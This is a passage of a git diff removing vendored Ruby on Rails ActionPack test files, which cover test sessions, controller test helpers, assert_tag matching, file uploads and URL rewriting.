-        @integration_session = open_session(ActionController::Session::MemCacheStore.new(DispatcherApp, options))
-        
-        yield
-      end
-    end
-end
\ No newline at end of file
diff --git a/vendor/rails/actionpack/test/controller/session/test_session_test.rb b/vendor/rails/actionpack/test/controller/session/test_session_test.rb
deleted file mode 100644
index 86926322..00000000
--- a/vendor/rails/actionpack/test/controller/session/test_session_test.rb
+++ /dev/null
@@ -1,58 +0,0 @@
-require 'abstract_unit'
-require 'stringio'
-
-class ActionController::TestSessionTest < ActiveSupport::TestCase
-  
-  def test_calling_delete_without_parameters_raises_deprecation_warning_and_calls_to_clear_test_session
-    assert_deprecated(/use clear instead/){ ActionController::TestSession.new.delete }
-  end
-  
-  def test_calling_update_without_parameters_raises_deprecation_warning_and_calls_to_clear_test_session
-    assert_deprecated(/use replace instead/){ ActionController::TestSession.new.update }
-  end
-  
-  def test_calling_close_raises_deprecation_warning
-    assert_deprecated(/sessions should no longer be closed/){ ActionController::TestSession.new.close }
-  end
-  
-  def test_defaults
-    session = ActionController::TestSession.new
-    assert_equal({}, session.data)
-    assert_equal('', session.session_id)
-  end
-  
-  def test_ctor_allows_setting
-    session = ActionController::TestSession.new({:one => 'one', :two => 'two'})
-    assert_equal('one', session[:one])
-    assert_equal('two', session[:two])
-  end
-  
-  def test_setting_session_item_sets_item
-    session = ActionController::TestSession.new
-    session[:key] = 'value'
-    assert_equal('value', session[:key])
-  end
-  
-  def test_calling_delete_removes_item_and_returns_its_value
-    session = ActionController::TestSession.new
-    session[:key] = 'value'
-    assert_equal('value', session[:key])
-    assert_equal('value', session.delete(:key))
-    assert_nil(session[:key])
-  end
-  
-  def test_calling_update_with_params_passes_to_attributes
-    session = ActionController::TestSession.new()
-    session.update('key' => 'value')
-    assert_equal('value', session[:key])
-  end
-  
-  def test_clear_emptys_session
-    params = {:one => 'one', :two => 'two'}
-    session = ActionController::TestSession.new({:one => 'one', :two => 'two'})
-    session.clear
-    assert_nil(session[:one])
-    assert_nil(session[:two])
-  end
-  
-end
\ No newline at end of file
diff --git a/vendor/rails/actionpack/test/controller/test_test.rb b/vendor/rails/actionpack/test/controller/test_test.rb
deleted file mode 100644
index 3924b282..00000000
--- a/vendor/rails/actionpack/test/controller/test_test.rb
+++ /dev/null
@@ -1,700 +0,0 @@
-require 'abstract_unit'
-require 'controller/fake_controllers'
-
-class TestTest < ActionController::TestCase
-  class TestController < ActionController::Base
-    def no_op
-      render :text => 'dummy'
-    end
-
-    def set_flash
-      flash["test"] = ">#{flash["test"]}<"
-      render :text => 'ignore me'
-    end
-
-    def set_flash_now
-      flash.now["test_now"] = ">#{flash["test_now"]}<"
-      render :text => 'ignore me'
-    end
-
-    def set_session
-      session['string'] = 'A wonder'
-      session[:symbol] = 'it works'
-      render :text => 'Success'
-    end
-
-    def reset_the_session
-      reset_session
-      render :text => 'ignore me'
-    end
-
-    def render_raw_post
-      raise ActiveSupport::TestCase::Assertion, "#raw_post is blank" if request.raw_post.blank?
-      render :text => request.raw_post
-    end
-
-    def render_body
-      render :text => request.body.read
-    end
-
-    def test_params
-      render :text => params.inspect
-    end
-
-    def test_uri
-      render :text => request.request_uri
-    end
-
-    def test_query_string
-      render :text => request.query_string
-    end
-
-    def test_html_output
-      render :text => <<HTML
-<html>
-  <body>
-    <a href="/"><img src="/images/button.png" /></a>
-    <div id="foo">
-      <ul>
-        <li class="item">hello</li>
-        <li class="item">goodbye</li>
-      </ul>
-    </div>
-    <div id="bar">
-      <form action="/somewhere">
-        Name: <input type="text" name="person[name]" id="person_name" />
-      </form>
-    </div>
-  </body>
-</html>
-HTML
-    end
-
-    def test_xml_output
-      response.content_type = "application/xml"
-      render :text => <<XML
-<?xml version="1.0" encoding="UTF-8"?>
-<root>
-  <area>area is an empty tag in HTML, raising an error if not in xml mode</area>
-</root>
-XML
-    end
-
-    def test_only_one_param
-      render :text => (params[:left] && params[:right]) ? "EEP, Both here!" : "OK"
-    end
-
-    def test_remote_addr
-      render :text => (request.remote_addr || "not specified")
-    end
-
-    def test_file_upload
-      render :text => params[:file].size
-    end
-
-    def test_send_file
-      send_file(File.expand_path(__FILE__))
-    end
-
-    def redirect_to_same_controller
-      redirect_to :controller => 'test', :action => 'test_uri', :id => 5
-    end
-
-    def redirect_to_different_controller
-      redirect_to :controller => 'fail', :id => 5
-    end
-
-    def create
-      head :created, :location => 'created resource'
-    end
-
-    private
-      def rescue_action(e)
-        raise e
-      end
-
-      def generate_url(opts)
-        url_for(opts.merge(:action => "test_uri"))
-      end
-  end
-
-  def setup
-    @controller = TestController.new
-    @request    = ActionController::TestRequest.new
-    @response   = ActionController::TestResponse.new
-    ActionController::Routing.use_controllers! %w(content admin/user test_test/test)
-    ActionController::Routing::Routes.load_routes!
-  end
-
-  def teardown
-    ActionController::Routing::Routes.reload
-  end
-
-  def test_raw_post_handling
-    params = {:page => {:name => 'page name'}, 'some key' => 123}
-    post :render_raw_post, params.dup
-
-    assert_equal params.to_query, @response.body
-  end
-
-  def test_body_stream
-    params = { :page => { :name => 'page name' }, 'some key' => 123 }
-
-    post :render_body, params.dup
-
-    assert_equal params.to_query, @response.body
-  end
-
-  def test_process_without_flash
-    process :set_flash
-    assert_equal '><', flash['test']
-  end
-
-  def test_process_with_flash
-    process :set_flash, nil, nil, { "test" => "value" }
-    assert_equal '>value<', flash['test']
-  end
-
-  def test_process_with_flash_now
-    process :set_flash_now, nil, nil, { "test_now" => "value_now" }
-    assert_equal '>value_now<', flash['test_now']
-  end
-
-  def test_process_with_session
-    process :set_session
-    assert_equal 'A wonder', session['string'], "A value stored in the session should be available by string key"
-    assert_equal 'A wonder', session[:string], "Test session hash should allow indifferent access"
-    assert_equal 'it works', session['symbol'], "Test session hash should allow indifferent access"
-    assert_equal 'it works', session[:symbol], "Test session hash should allow indifferent access"
-  end
-
-  def test_process_with_session_arg
-    process :no_op, nil, { 'string' => 'value1', :symbol => 'value2' }
-    assert_equal 'value1', session['string']
-    assert_equal 'value1', session[:string]
-    assert_equal 'value2', session['symbol']
-    assert_equal 'value2', session[:symbol]
-  end
-
-  def test_session_is_cleared_from_controller_after_reset_session
-    process :set_session
-    process :reset_the_session
-    assert_equal Hash.new, @controller.session.to_hash
-  end
-
-  def test_session_is_cleared_from_response_after_reset_session
-    process :set_session
-    process :reset_the_session
-    assert_equal Hash.new, @response.session.to_hash
-  end
-
-  def test_session_is_cleared_from_request_after_reset_session
-    process :set_session
-    process :reset_the_session
-    assert_equal Hash.new, @request.session.to_hash
-  end
-
-  def test_process_with_request_uri_with_no_params
-    process :test_uri
-    assert_equal "/test_test/test/test_uri", @response.body
-  end
-
-  def test_process_with_request_uri_with_params
-    process :test_uri, :id => 7
-    assert_equal "/test_test/test/test_uri/7", @response.body
-  end
-
-  def test_process_with_request_uri_with_params_with_explicit_uri
-    @request.set_REQUEST_URI "/explicit/uri"
-    process :test_uri, :id => 7
-    assert_equal "/explicit/uri", @response.body
-  end
-
-  def test_process_with_query_string
-    process :test_query_string, :q => 'test'
-    assert_equal "q=test", @response.body
-  end
-
-  def test_process_with_query_string_with_explicit_uri
-    @request.set_REQUEST_URI "/explicit/uri?q=test?extra=question"
-    process :test_query_string
-    assert_equal "q=test?extra=question", @response.body
-  end
-
-  def test_multiple_calls
-    process :test_only_one_param, :left => true
-    assert_equal "OK", @response.body
-    process :test_only_one_param, :right => true
-    assert_equal "OK", @response.body
-  end
-
-  def test_assert_tag_tag
-    process :test_html_output
-
-    # there is a 'form' tag
-    assert_tag :tag => 'form'
-    # there is not an 'hr' tag
-    assert_no_tag :tag => 'hr'
-  end
-
-  def test_assert_tag_attributes
-    process :test_html_output
-
-    # there is a tag with an 'id' of 'bar'
-    assert_tag :attributes => { :id => "bar" }
-    # there is no tag with a 'name' of 'baz'
-    assert_no_tag :attributes => { :name => "baz" }
-  end
-
-  def test_assert_tag_parent
-    process :test_html_output
-
-    # there is a tag with a parent 'form' tag
-    assert_tag :parent => { :tag => "form" }
-    # there is no tag with a parent of 'input'
-    assert_no_tag :parent => { :tag => "input" }
-  end
-
-  def test_assert_tag_child
-    process :test_html_output
-
-    # there is a tag with a child 'input' tag
-    assert_tag :child => { :tag => "input" }
-    # there is no tag with a child 'strong' tag
-    assert_no_tag :child => { :tag => "strong" }
-  end
-
-  def test_assert_tag_ancestor
-    process :test_html_output
-
-    # there is a 'li' tag with an ancestor having an id of 'foo'
-    assert_tag :ancestor => { :attributes => { :id => "foo" } }, :tag => "li"
-    # there is no tag of any kind with an ancestor having an href matching 'foo'
-    assert_no_tag :ancestor => { :attributes => { :href => /foo/ } }
-  end
-
-  def test_assert_tag_descendant
-    process :test_html_output
-
-    # there is a tag with a descendant 'li' tag
-    assert_tag :descendant => { :tag => "li" }
-    # there is no tag with a descendant 'html' tag
-    assert_no_tag :descendant => { :tag => "html" }
-  end
-
-  def test_assert_tag_sibling
-    process :test_html_output
-
-    # there is a tag with a sibling of class 'item'
-    assert_tag :sibling => { :attributes => { :class => "item" } }
-    # there is no tag with a sibling 'ul' tag
-    assert_no_tag :sibling => { :tag => "ul" }
-  end
-
-  def test_assert_tag_after
-    process :test_html_output
-
-    # there is a tag following a sibling 'div' tag
-    assert_tag :after => { :tag => "div" }
-    # there is no tag following a sibling tag with id 'bar'
-    assert_no_tag :after => { :attributes => { :id => "bar" } }
-  end
-
-  def test_assert_tag_before
-    process :test_html_output
-
-    # there is a tag preceding a tag with id 'bar'
-    assert_tag :before => { :attributes => { :id => "bar" } }
-    # there is no tag preceding a 'form' tag
-    assert_no_tag :before => { :tag => "form" }
-  end
-
-  def test_assert_tag_children_count
-    process :test_html_output
-
-    # there is a tag with 2 children
-    assert_tag :children => { :count => 2 }
-    # in particular, there is a <ul> tag with two children (a nameless pair of <li>s)
-    assert_tag :tag => 'ul', :children => { :count => 2 }
-    # there is no tag with 4 children
-    assert_no_tag :children => { :count => 4 }
-  end
-
-  def test_assert_tag_children_less_than
-    process :test_html_output
-
-    # there is a tag with less than 5 children
-    assert_tag :children => { :less_than => 5 }
-    # there is no 'ul' tag with less than 2 children
-    assert_no_tag :children => { :less_than => 2 }, :tag => "ul"
-  end
-
-  def test_assert_tag_children_greater_than
-    process :test_html_output
-
-    # there is a 'body' tag with more than 1 children
-    assert_tag :children => { :greater_than => 1 }, :tag => "body"
-    # there is no tag with more than 10 children
-    assert_no_tag :children => { :greater_than => 10 }
-  end
-
-  def test_assert_tag_children_only
-    process :test_html_output
-
-    # there is a tag containing only one child with an id of 'foo'
-    assert_tag :children => { :count => 1,
-                              :only => { :attributes => { :id => "foo" } } }
-    # there is no tag containing only one 'li' child
-    assert_no_tag :children => { :count => 1, :only => { :tag => "li" } }
-  end
-
-  def test_assert_tag_content
-    process :test_html_output
-
-    # the output contains the string "Name"
-    assert_tag :content => /Name/
-    # the output does not contain the string "test"
-    assert_no_tag :content => /test/
-  end
-
-  def test_assert_tag_multiple
-    process :test_html_output
-
-    # there is a 'div', id='bar', with an immediate child whose 'action'
-    # attribute matches the regexp /somewhere/.
-    assert_tag :tag => "div", :attributes => { :id => "bar" },
-               :child => { :attributes => { :action => /somewhere/ } }
-
-    # there is no 'div', id='foo', with a 'ul' child with more than
-    # 2 "li" children.
-    assert_no_tag :tag => "div", :attributes => { :id => "foo" },
-                  :child => {
-                    :tag => "ul",
-                    :children => { :greater_than => 2,
-                                   :only => { :tag => "li" } } }
-  end
-
-  def test_assert_tag_children_without_content
-    process :test_html_output
-
-    # there is a form tag with an 'input' child which is a self closing tag
-    assert_tag :tag => "form",
-      :children => { :count => 1,
-        :only => { :tag => "input" } }
-
-    # the body tag has an 'a' child which in turn has an 'img' child
-    assert_tag :tag => "body",
-      :children => { :count => 1,
-        :only => { :tag => "a",
-          :children => { :count => 1,
-            :only => { :tag => "img" } } } }
-  end
-
-  def test_should_not_impose_childless_html_tags_in_xml
-    process :test_xml_output
-
-    begin
-      $stderr = StringIO.new
-      assert_select 'area' #This will cause a warning if content is processed as HTML
-      $stderr.rewind && err = $stderr.read
-    ensure
-      $stderr = STDERR
-    end
-
-    assert err.empty?
-  end
-
-  def test_assert_tag_attribute_matching
-    @response.body = '<input type="text" name="my_name">'
-    assert_tag :tag => 'input',
-                 :attributes => { :name => /my/, :type => 'text' }
-    assert_no_tag :tag => 'input',
-                 :attributes => { :name => 'my', :type => 'text' }
-    assert_no_tag :tag => 'input',
-                 :attributes => { :name => /^my$/, :type => 'text' }
-  end
-
-  def test_assert_tag_content_matching
-    @response.body = "<p>hello world</p>"
-    assert_tag :tag => "p", :content => "hello world"
-    assert_tag :tag => "p", :content => /hello/
-    assert_no_tag :tag => "p", :content => "hello"
-  end
-
-  def test_assert_generates
-    assert_generates 'controller/action/5', :controller => 'controller', :action => 'action', :id => '5'
-    assert_generates 'controller/action/7', {:id => "7"}, {:controller => "controller", :action => "action"}
-    assert_generates 'controller/action/5', {:controller => "controller", :action => "action", :id => "5", :name => "bob"}, {}, {:name => "bob"}
-    assert_generates 'controller/action/7', {:id => "7", :name => "bob"}, {:controller => "controller", :action => "action"}, {:name => "bob"}
-    assert_generates 'controller/action/7', {:id => "7"}, {:controller => "controller", :action => "action", :name => "bob"}, {}
-  end
-
-  def test_assert_routing
-    assert_routing 'content', :controller => 'content', :action => 'index'
-  end
-
-  def test_assert_routing_with_method
-    with_routing do |set|
-      set.draw { |map| map.resources(:content) }
-      assert_routing({ :method => 'post', :path => 'content' }, { :controller => 'content', :action => 'create' })
-    end
-  end
-
-  def test_assert_routing_in_module
-    assert_routing 'admin/user', :controller => 'admin/user', :action => 'index'
-  end
-
-  def test_params_passing
-    get :test_params, :page => {:name => "Page name", :month => '4', :year => '2004', :day => '6'}
-    parsed_params = eval(@response.body)
-    assert_equal(
-      {'controller' => 'test_test/test', 'action' => 'test_params',
-       'page' => {'name' => "Page name", 'month' => '4', 'year' => '2004', 'day' => '6'}},
-      parsed_params
-    )
-  end
-
-  def test_id_converted_to_string
-    get :test_params, :id => 20, :foo => Object.new
-    assert_kind_of String, @request.path_parameters['id']
-  end
-
-  def test_array_path_parameter_handled_properly
-    with_routing do |set|
-      set.draw do |map|
-        map.connect 'file/*path', :controller => 'test_test/test', :action => 'test_params'
-        map.connect ':controller/:action/:id'
-      end
-
-      get :test_params, :path => ['hello', 'world']
-      assert_equal ['hello', 'world'], @request.path_parameters['path']
-      assert_equal 'hello/world', @request.path_parameters['path'].to_s
-    end
-  end
-
-  def test_assert_realistic_path_parameters
-    get :test_params, :id => 20, :foo => Object.new
-
-    # All elements of path_parameters should use string keys
-    @request.path_parameters.keys.each do |key|
-      assert_kind_of String, key
-    end
-  end
-
-  def test_with_routing_places_routes_back
-    assert ActionController::Routing::Routes
-    routes_id = ActionController::Routing::Routes.object_id
-
-    begin
-      with_routing { raise 'fail' }
-      fail 'Should not be here.'
-    rescue RuntimeError
-    end
-
-    assert ActionController::Routing::Routes
-    assert_equal routes_id, ActionController::Routing::Routes.object_id
-  end
-
-  def test_remote_addr
-    get :test_remote_addr
-    assert_equal "0.0.0.0", @response.body
-
-    @request.remote_addr = "192.0.0.1"
-    get :test_remote_addr
-    assert_equal "192.0.0.1", @response.body
-  end
-
-  def test_header_properly_reset_after_remote_http_request
-    xhr :get, :test_params
-    assert_nil @request.env['HTTP_X_REQUESTED_WITH']
-  end
-
-  def test_header_properly_reset_after_get_request
-    get :test_params
-    @request.recycle!
-    assert_nil @request.instance_variable_get("@request_method")
-  end
-
-  def test_params_reset_after_post_request
-    post :no_op, :foo => "bar"
-    assert_equal "bar", @request.params[:foo]
-    @request.recycle!
-    post :no_op
-    assert @request.params[:foo].blank?
-  end
-
-  %w(controller response request).each do |variable|
-    %w(get post put delete head process).each do |method|
-      define_method("test_#{variable}_missing_for_#{method}_raises_error") do
-        remove_instance_variable "@#{variable}"
-        begin
-          send(method, :test_remote_addr)
-          assert false, "expected RuntimeError, got nothing"
-        rescue RuntimeError => error
-          assert true
-          assert_match %r{@#{variable} is nil}, error.message
-        rescue => error
-          assert false, "expected RuntimeError, got #{error.class}"
-        end
-      end
-    end
-  end
-
-  FILES_DIR = File.dirname(__FILE__) + '/../fixtures/multipart'
-
-  if RUBY_VERSION < '1.9'
-    READ_BINARY = 'rb'
-    READ_PLAIN = 'r'
-  else
-    READ_BINARY = 'rb:binary'
-    READ_PLAIN = 'r:binary'
-  end
-
-  def test_test_uploaded_file
-    filename = 'mona_lisa.jpg'
-    path = "#{FILES_DIR}/#{filename}"
-    content_type = 'image/png'
-    expected = File.read(path)
-    expected.force_encoding(Encoding::BINARY) if expected.respond_to?(:force_encoding)
-
-    file = ActionController::TestUploadedFile.new(path, content_type)
-    assert_equal filename, file.original_filename
-    assert_equal content_type, file.content_type
-    assert_equal file.path, file.local_path
-    assert_equal expected, file.read
-
-    new_content_type = "new content_type"
-    file.content_type = new_content_type
-    assert_equal new_content_type, file.content_type
-
-  end
-
-  def test_test_uploaded_file_with_binary
-    filename = 'mona_lisa.jpg'
-    path = "#{FILES_DIR}/#{filename}"
-    content_type = 'image/png'
-
-    binary_uploaded_file = ActionController::TestUploadedFile.new(path, content_type, :binary)
-    assert_equal File.open(path, READ_BINARY).read, binary_uploaded_file.read
-
-    plain_uploaded_file = ActionController::TestUploadedFile.new(path, content_type)
-    assert_equal File.open(path, READ_PLAIN).read, plain_uploaded_file.read
-  end
-
-  def test_fixture_file_upload_with_binary
-    filename = 'mona_lisa.jpg'
-    path = "#{FILES_DIR}/#{filename}"
-    content_type = 'image/jpg'
-
-    binary_file_upload = fixture_file_upload(path, content_type, :binary)
-    assert_equal File.open(path, READ_BINARY).read, binary_file_upload.read
-
-    plain_file_upload = fixture_file_upload(path, content_type)
-    assert_equal File.open(path, READ_PLAIN).read, plain_file_upload.read
-  end
-
-  def test_fixture_file_upload
-    post :test_file_upload, :file => fixture_file_upload(FILES_DIR + "/mona_lisa.jpg", "image/jpg")
-    assert_equal '159528', @response.body
-  end
-
-  def test_test_uploaded_file_exception_when_file_doesnt_exist
-    assert_raise(RuntimeError) { ActionController::TestUploadedFile.new('non_existent_file') }
-  end
-
-  def test_redirect_url_only_cares_about_location_header
-    get :create
-    assert_response :created
-
-    # Redirect url doesn't care that it wasn't a :redirect response.
-    assert_equal 'created resource', @response.redirect_url
-    assert_equal @response.redirect_url, redirect_to_url
-
-    # Must be a :redirect response.
-    assert_raise(ActiveSupport::TestCase::Assertion) do
-      assert_redirected_to 'created resource'
-    end
-  end
-
-  def test_binary_content_works_with_send_file
-    get :test_send_file
-    assert_nothing_raised(NoMethodError) { @response.binary_content }
-  end
-
-  protected
-    def with_foo_routing
-      with_routing do |set|
-        set.draw do |map|
-          map.generate_url 'foo', :controller => 'test'
-          map.connect      ':controller/:action/:id'
-        end
-        yield set
-      end
-    end
-end
-
-class CleanBacktraceTest < ActionController::TestCase
-  def test_should_reraise_the_same_object
-    exception = ActiveSupport::TestCase::Assertion.new('message')
-    clean_backtrace { raise exception }
-  rescue Exception => caught
-    assert_equal exception.object_id, caught.object_id
-    assert_equal exception.message, caught.message
-  end
-
-  def test_should_clean_assertion_lines_from_backtrace
-    path = File.expand_path("#{File.dirname(__FILE__)}/../../lib/action_controller")
-    exception = ActiveSupport::TestCase::Assertion.new('message')
-    exception.set_backtrace ["#{path}/abc", "#{path}/assertions/def"]
-    clean_backtrace { raise exception }
-  rescue Exception => caught
-    assert_equal ["#{path}/abc"], caught.backtrace
-  end
-
-  def test_should_only_clean_assertion_failure_errors
-    clean_backtrace do
-      raise "can't touch this", [File.expand_path("#{File.dirname(__FILE__)}/../../lib/action_controller/assertions/abc")]
-    end
-  rescue => caught
-    assert !caught.backtrace.empty?
-  end
-end
-
-class InferringClassNameTest < ActionController::TestCase
-  def test_determine_controller_class
-    assert_equal ContentController, determine_class("ContentControllerTest")
-  end
-
-  def test_determine_controller_class_with_nonsense_name
-    assert_nil determine_class("HelloGoodBye")
-  end
-
-  def test_determine_controller_class_with_sensible_name_where_no_controller_exists
-    assert_nil determine_class("NoControllerWithThisNameTest")
-  end
-
-  private
-    def determine_class(name)
-      ActionController::TestCase.determine_default_controller_class(name)
-    end
-end
-
-class CrazyNameTest < ActionController::TestCase
-  tests ContentController
-
-  def test_controller_class_can_be_set_manually_not_just_inferred
-    assert_equal ContentController, self.class.controller_class
-  end
-end
-
-class NamedRoutesControllerTest < ActionController::TestCase
-  tests ContentController
-
-  def test_should_be_able_to_use_named_routes_before_a_request_is_done
-    with_routing do |set|
-      set.draw { |map| map.resources :contents }
-      assert_equal 'http://test.host/contents/new', new_content_url
-      assert_equal 'http://test.host/contents/1', content_url(:id => 1)
-    end
-  end
-end
diff --git a/vendor/rails/actionpack/test/controller/translation_test.rb b/vendor/rails/actionpack/test/controller/translation_test.rb
deleted file mode 100644
index 0bf61a65..00000000
--- a/vendor/rails/actionpack/test/controller/translation_test.rb
+++ /dev/null
@@ -1,26 +0,0 @@
-require 'abstract_unit'
-
-# class TranslatingController < ActionController::Base
-# end
-
-class TranslationControllerTest < Test::Unit::TestCase
-  def setup
-    @controller = ActionController::Base.new
-  end
-  
-  def test_action_controller_base_responds_to_translate
-    assert @controller.respond_to?(:translate)
-  end
-  
-  def test_action_controller_base_responds_to_t
-    assert @controller.respond_to?(:t)
-  end
-  
-  def test_action_controller_base_responds_to_localize
-    assert @controller.respond_to?(:localize)
-  end
-  
-  def test_action_controller_base_responds_to_l
-    assert @controller.respond_to?(:l)
-  end
-end
\ No newline at end of file
diff --git a/vendor/rails/actionpack/test/controller/url_rewriter_test.rb b/vendor/rails/actionpack/test/controller/url_rewriter_test.rb
deleted file mode 100644
index 11add3a8..00000000
--- a/vendor/rails/actionpack/test/controller/url_rewriter_test.rb
+++ /dev/null
@@ -1,395 +0,0 @@
-require 'abstract_unit'
-
-ActionController::UrlRewriter
-
-class UrlRewriterTests < ActionController::TestCase
-  def setup
-    @request = ActionController::TestRequest.new
-    @params = {}
-    @rewriter = ActionController::UrlRewriter.new(@request, @params)
-  end
-
-  def test_port
-    assert_equal('http://test.host:1271/c/a/i',
-      @rewriter.rewrite(:controller => 'c', :action => 'a', :id => 'i', :port => 1271)
-    )
-  end
-
-  def test_protocol_with_and_without_separator
-    assert_equal('https://test.host/c/a/i',
-      @rewriter.rewrite(:protocol => 'https', :controller => 'c', :action => 'a', :id => 'i')
-    )
-
-    assert_equal('https://test.host/c/a/i',
-      @rewriter.rewrite(:protocol => 'https://', :controller => 'c', :action => 'a', :id => 'i')
-    )
-  end
-
-  def test_user_name_and_password
-    assert_equal(
-      'http://david:secret@test.host/c/a/i',
-      @rewriter.rewrite(:user => "david", :password => "secret", :controller => 'c', :action => 'a', :id => 'i')
-    )
-  end
-
-  def test_user_name_and_password_with_escape_codes
-    assert_equal(
-      'http://openid.aol.com%2Fnextangler:one+two%3F@test.host/c/a/i',
-      @rewriter.rewrite(:user => "openid.aol.com/nextangler", :password => "one two?", :controller => 'c', :action => 'a', :id => 'i')
-    )
-  end
-
-  def test_anchor
-    assert_equal(
-      'http://test.host/c/a/i#anchor',
-      @rewriter.rewrite(:controller => 'c', :action => 'a', :id => 'i', :anchor => 'anchor')
-    )
-  end
-
-  def test_anchor_should_call_to_param
-    assert_equal(
-      'http://test.host/c/a/i#anchor',
-      @rewriter.rewrite(:controller => 'c', :action => 'a', :id => 'i', :anchor => Struct.new(:to_param).new('anchor'))
-    )
-  end
-
-  def test_anchor_should_be_cgi_escaped
-    assert_equal(
-      'http://test.host/c/a/i#anc%2Fhor',
-      @rewriter.rewrite(:controller => 'c', :action => 'a', :id => 'i', :anchor => Struct.new(:to_param).new('anc/hor'))
-    )
-  end
-
-  def test_overwrite_params
-    @params[:controller] = 'hi'
-    @params[:action] = 'bye'
-    @params[:id] = '2'
-
-    assert_deprecated /overwrite_params/ do
-      assert_equal '/hi/hi/2', @rewriter.rewrite(:only_path => true, :overwrite_params => {:action => 'hi'})
-      u = @rewriter.rewrite(:only_path => false, :overwrite_params => {:action => 'hi'})
-      assert_match %r(/hi/hi/2$), u
-    end
-  end
-
-  def test_overwrite_removes_original
-    @params[:controller] = 'search'
-    @params[:action] = 'list'
-    @params[:list_page] = 1
-
-    assert_deprecated /overwrite_params/ do
-      assert_equal '/search/list?list_page=2', @rewriter.rewrite(:only_path => true, :overwrite_params => {"list_page" => 2})
-      u = @rewriter.rewrite(:only_path => false, :overwrite_params => {:list_page => 2})
-      assert_equal 'http://test.host/search/list?list_page=2', u
-    end
-  end
-
-  def test_to_str
-    @params[:controller] = 'hi'
-    @params[:action] = 'bye'
-    @request.parameters[:id] = '2'
-
-    assert_equal 'http://, test.host, /, hi, bye, {"id"=>"2"}', @rewriter.to_str
-  end
-
-  def test_trailing_slash
-    options = {:controller => 'foo', :action => 'bar', :id => '3', :only_path => true}
-    assert_equal '/foo/bar/3', @rewriter.rewrite(options)
-    assert_equal '/foo/bar/3?query=string', @rewriter.rewrite(options.merge({:query => 'string'}))
-    options.update({:trailing_slash => true})
-    assert_equal '/foo/bar/3/', @rewriter.rewrite(options)
-    options.update({:query => 'string'})
-    assert_equal '/foo/bar/3/?query=string', @rewriter.rewrite(options)
-  end
-end
-
-class UrlWriterTests < ActionController::TestCase
-  class W
-    include ActionController::UrlWriter
-  end
-
-  def teardown
-    W.default_url_options.clear
-  end
-
-  def add_host!
-    W.default_url_options[:host] = 'www.basecamphq.com'
-  end
-
-  def test_exception_is_thrown_without_host
-    assert_raise RuntimeError do
-      W.new.url_for :controller => 'c', :action => 'a', :id => 'i'
-    end
-  end
-
-  def test_anchor
-    assert_equal('/c/a#anchor',
-      W.new.url_for(:only_path => true, :controller => 'c', :action => 'a', :anchor => 'anchor')
-    )
-  end
-
-  def test_anchor_should_call_to_param
-    assert_equal('/c/a#anchor',
-      W.new.url_for(:only_path => true, :controller => 'c', :action => 'a', :anchor => Struct.new(:to_param).new('anchor'))
-    )
-  end
-
-  def test_anchor_should_escape_unsafe_pchar
-    assert_equal('/c/a#%23anchor',
-      W.new.url_for(:only_path => true, :controller => 'c', :action => 'a', :anchor => Struct.new(:to_param).new('#anchor'))
-    )
-  end
-
-  def test_anchor_should_not_escape_safe_pchar
-    assert_equal('/c/a#name=user&email=user@domain.com',
-      W.new.url_for(:only_path => true, :controller => 'c', :action => 'a', :anchor => Struct.new(:to_param).new('name=user&email=user@domain.com'))
-    )
-  end
-
-  def test_default_host
-    add_host!
-    assert_equal('http://www.basecamphq.com/c/a/i',
-      W.new.url_for(:controller => 'c', :action => 'a', :id => 'i')
-    )
-  end
-
-  def test_host_may_be_overridden
-    add_host!
-    assert_equal('http://37signals.basecamphq.com/c/a/i',
-      W.new.url_for(:host => '37signals.basecamphq.com', :controller => 'c', :action => 'a', :id => 'i')
-    )
-  end
-
-  def test_port
-    add_host!
-    assert_equal('http://www.basecamphq.com:3000/c/a/i',
-      W.new.url_for(:controller => 'c', :action => 'a', :id => 'i', :port => 3000)
-    )
-  end
-
-  def test_protocol
-    add_host!
-    assert_equal('https://www.basecamphq.com/c/a/i',
-      W.new.url_for(:controller => 'c', :action => 'a', :id => 'i', :protocol => 'https')
-    )
-  end
-
-  def test_protocol_with_and_without_separator
-    add_host!
-    assert_equal('https://www.basecamphq.com/c/a/i',
-      W.new.url_for(:controller => 'c', :action => 'a', :id => 'i', :protocol => 'https')
-    )
-    assert_equal('https://www.basecamphq.com/c/a/i',
-      W.new.url_for(:controller => 'c', :action => 'a', :id => 'i', :protocol => 'https://')
-    )
-  end
-
-  def test_trailing_slash
-    add_host!
-    options = {:controller => 'foo', :trailing_slash => true, :action => 'bar', :id => '33'}
-    assert_equal('http://www.basecamphq.com/foo/bar/33/', W.new.url_for(options) )
-  end
-
-  def test_trailing_slash_with_protocol
-    add_host!
-    options = { :trailing_slash => true,:protocol => 'https', :controller => 'foo', :action => 'bar', :id => '33'}
-    assert_equal('https://www.basecamphq.com/foo/bar/33/', W.new.url_for(options) )
-    assert_equal 'https://www.basecamphq.com/foo/bar/33/?query=string', W.new.url_for(options.merge({:query => 'string'}))
-  end
-
-  def test_trailing_slash_with_only_path
-    options = {:controller => 'foo', :trailing_slash => true}
-    assert_equal '/foo/', W.new.url_for(options.merge({:only_path => true}))
-    options.update({:action => 'bar', :id => '33'})
-    assert_equal '/foo/bar/33/', W.new.url_for(options.merge({:only_path => true}))
-    assert_equal '/foo/bar/33/?query=string', W.new.url_for(options.merge({:query => 'string',:only_path => true}))
-  end
-
-  def test_trailing_slash_with_anchor
-    options = {:trailing_slash => true, :controller => 'foo', :action => 'bar', :id => '33', :only_path => true, :anchor=> 'chapter7'}
-    assert_equal '/foo/bar/33/#chapter7', W.new.url_for(options)
-    assert_equal '/foo/bar/33/?query=string#chapter7', W.new.url_for(options.merge({:query => 'string'}))
-  end
-
-  def test_trailing_slash_with_params
-    url = W.new.url_for(:trailing_slash => true, :only_path => true, :controller => 'cont', :action => 'act', :p1 => 'cafe', :p2 => 'link')
-    params = extract_params(url)
-    assert_equal params[0], { :p1 => 'cafe' }.to_query
-    assert_equal params[1], { :p2 => 'link' }.to_query
-  end
-
-  def test_relative_url_root_is_respected
-    orig_relative_url_root = ActionController::Base.relative_url_root
-    ActionController::Base.relative_url_root = '/subdir'
-
-    add_host!
-    assert_equal('https://www.basecamphq.com/subdir/c/a/i',
-      W.new.url_for(:controller => 'c', :action => 'a', :id => 'i', :protocol => 'https')
-    )
-  ensure
-    ActionController::Base.relative_url_root = orig_relative_url_root
-  end
-
-  def test_named_routes
-    ActionController::Routing::Routes.draw do |map|
-      map.no_args '/this/is/verbose', :controller => 'home', :action => 'index'
-      map.home '/home/sweet/home/:user', :controller => 'home', :action => 'index'
-      map.connect ':controller/:action/:id'
-    end
-
-    # We need to create a new class in order to install the new named route.
-    kls = Class.new { include ActionController::UrlWriter }
